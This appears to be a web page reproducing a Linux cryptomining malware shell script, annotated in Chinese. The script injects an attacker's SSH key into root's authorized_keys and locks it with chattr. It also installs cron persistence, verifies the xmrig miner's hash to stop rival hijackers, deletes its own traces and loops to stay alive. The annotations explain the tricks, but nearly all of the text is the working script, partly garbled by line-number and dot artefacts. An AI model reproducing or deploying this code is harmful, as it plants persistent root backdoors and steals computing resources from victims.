Memorial Sea

1
 #!/bin/bash
2
 #
3
 # 这里一处很狡猾的设计，程序的运行目录在/var/tmp/.logs/.xmr文件中，但这个文件在病毒成功启动后就会被删除
4
 FOLDER="$(cat /var/tmp/.logs/.xmr)"
5

6
 # 以下为黑客而已注入的SSH公钥
7
 sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfWpOBY9XU2gUh6bfANlquq8YWUNh+eZaodVBYCBaW+uq2eyNl5XjjM+r0FCPhatw5xK3MQTSWQha/5J6qQ/IPZSB0ycCRb/GLoMWMxuQ4LTXLFNBsS90G7oKj5seh1/LonfQL1qlhIG67SSxLhVUrhj9xZctwu7bp/BHUZYTH5qWKrOqV0sPgC3KxIEQV4Row7J1jQLeOGLUtrf33V3l/booVPCF2fJW7+KDnvjpb1tESr/udhQ6OJYdFdQiL75aJbKql3lOemM5MugebtW52MG/ZjI7TePYyqXcOV9MammvChxxslRWM81lMvDYe6S8pg/1aNbmeQJCpWkin5hN/ localhost"
8
 hashid="349d893caaedd7552248f00dbdab0737fdcc15aefd36825603d3fe84e62e39cf"
9
 ###########
10

11
 # 公钥注入函数
12
 placekey() {
13
   .chattr -iajtdu "/root" ;
14
   chattr -R -iajtdu "/root/.ssh"
15
   .echo $sshkey >> "/root/.ssh/authorized_keys"
16
   .chmod 600 "/root/.ssh/authorized_keys"
17
   .chattr +ia "/root/.ssh/authorized_keys"
18
 }
19
 sshkeyset() {
20
   .if [ $(id -u) = 0 ]; then
21
     ..if [ -d "/root/.ssh/" ] && [ -f "/root/.ssh/authorized_keys" ]; then
22
       ...if ! cat "/root/.ssh/authorized_keys" | grep -q "${sshkey}" ; then
23
         ....placekey
24
       ...fi
25
     ..else
26
       ...if [ ! -d "/root/.ssh/" ]; then
27
         ....chattr -iajtdu "/root"
28
         ....mkdir "/root/.ssh/"
29
       ...fi
30
       ...placekey
31
     ..fi
32
   .fi
33
 }
34

35
 # 设定定时任务
36
 cronjob() {
37
   .if ! crontab -l | grep -q 'updat3'; then
38
     ..if [ $(id -u) = 0 ]; then
39
       ...chattr -R -iajtdu /var/spool/cron/crontabs
40
     ..fi
41
     ..
42
     ..echo "@daily $FOLDER/start" > $FOLDER/.tempo
43
     ..echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo
44
     ..echo "@monthly $FOLDER/updat3  > /dev/null 2>&1 & disown" >> $FOLDER/.tempo
45
     ..crontab $FOLDER/.tempo
46
     ..sleep 1
47
     ..rm -rf $FOLDER/.tempo
48
   .fi
49
 }  :
50
 # 删除自身
51
 delete() {
52
   .if [ -f $FOLDER/config.json ]; then
53
     ..chattr -R -iajtdu $FOLDER/config.json
54
     ..rm -rf $FOLDER/config.json
55
     ..sleep 1
56
     ..killall xmrig
57
     ..pkill xmrig
58
   .fi
59
 }
60
 # xmrig启动函数
61
 run() {
62
   .if ! pgrep -x xmrig >/dev/null; then
63
    # 这里会对xmrig程序进行hash校验，毕竟肥水不流外人田：有一种操作是后来的黑客利用之前人的病毒通过修改挖矿地址来修改受益对象。所以一旦发现文件 hash值被修改就会删除被修改的文件
64
     ..if [[ $hashid == $(sha256sum $FOLDER/xmrig | awk '{print $1}') ]]; then
65
       ...$FOLDER/xmrig > /dev/null 2>&1 & disown
66
     ..else
67
       ...chattr -R -iajtdu "$FOLDER" "/var/tmp/.logs/.xmr"
68
       ...rm -rf $FOLDER /var/tmp/.logs/.xmr
69
       ...crontab -r
70
       ...exit;
71
     ..fi
72
   .fi
73
 }
74
 # 这里一处死循环，重复执行整个脚本以保证保活
75
 while : do
76
   .sshkeyset
77
   .sleep 1
78
   .cronjob
79
   .sleep 1
80
   .delete
81
   .sleep 1
82
   .run
83
   .sleep 60 done /var/tmp/.mint-xmr/updat3